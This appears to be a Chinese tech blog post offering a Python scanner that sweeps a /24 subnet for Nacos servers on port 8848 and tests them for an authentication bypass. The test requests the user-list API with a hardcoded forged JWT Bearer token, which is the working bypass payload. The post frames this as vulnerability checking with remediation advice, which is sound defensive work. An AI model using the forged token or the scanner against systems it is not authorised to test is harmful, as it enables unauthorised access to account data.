官方確認，低版本的nacos服務管理平臺存在多個安全漏洞。這些漏洞可能導致配置文件中的敏感信息泄漏或系統被入侵的風險。

今天浩道跟大家分享一個python腳本，主要用于自動檢測某網段內主機上可能存在的nacos漏洞，可以方便大家對某網段內多臺主機進行檢測，一起看看吧！

如存在漏洞，建議及時升級nacos服務管理平臺的版本，并修改默認密碼，刪除多余管理賬號。

nacos.py腳本信息如下，大家可以根據自己實際網段修改對應代碼即可。該腳本實現掃描的是192.168.100.0網段內主機上的nacos漏洞。

import requests
import urllib3
import threading
import socket


urllib3.disable_warnings()


# 定義自定義路徑和Header
custom_path = '/nacos/v1/auth/users?pageNo=1&pageSize=2'
header = {
    "User-Agent": "Nacos-Server",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
    "Authorization": "Bearer eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTYxODEyMzY5N30.nyooAL4OMdiByXocu8kL1ooXd1IeKj6wQZwIH8nmcNA",
    "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
    "Accept-Encoding": "gzip, deflate",
    "Connection": "close",
    "Upgrade-Insecure-Requests": "1",
    "Sec-Fetch-Dest": "document",
    "Sec-Fetch-Mode": "navigate",
    "Sec-Fetch-Site": "same-origin",
    "Pragma": "no-cache",
    "Te": "trailers",
    "Cache-Control": "no-cache",
}


# 定義函數，用于發起GET請求并判斷回顯結果，每次調用這個函數發送一個請求
def send_request(url):
    full_url = url + custom_path  # 拼接完整URL
    try:
        response = requests.get(full_url, headers=header, verify=False, timeout=2)
        if response.status_code == 200 and response.content.find(b"pageNumber") != -1:
            print(f'{url} 存在nacos身份驗證繞過漏洞')
        else:
            print(f'{url} 不存在nacos身份驗證繞過漏洞')
    except requests.exceptions.RequestException as e:
        print(f'{url} 訪問失敗 {e}')


# Function to check if port 8848 is open on a given IP address
def is_port_open(ip, port):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.settimeout(2)  # Set a timeout of 2 seconds for the connection attempt
    result = sock.connect_ex((ip, port))
    sock.close()
    return result == 0


# Scan the 192.168.100.1 network segment for hosts with port 8848 open
nacos_hosts = []
for i in range(1, 256):
    ip_address = f'192.168.100.{i}'
    if is_port_open(ip_address, 8848):
        nacos_hosts.append(ip_address)


# Perform Nacos vulnerability check for hosts with port 8848 open
if not nacos_hosts:
    print("No Nacos server found on port 8848 in the 192.168.100.1 network segment.")
else:
    print(f"Found Nacos server(s) on port 8848: {', '.join(nacos_hosts)}")
    threads = []
    for host in nacos_hosts:
        t = threading.Thread(target=send_request, args=(f"http://{host}:8848",))
        threads.append(t)
        t.start()


    # Wait for all threads to complete
    for t in threads:
        t.join()

以下針對三個網段執行腳本，如下圖所示：

責任編輯：彭菁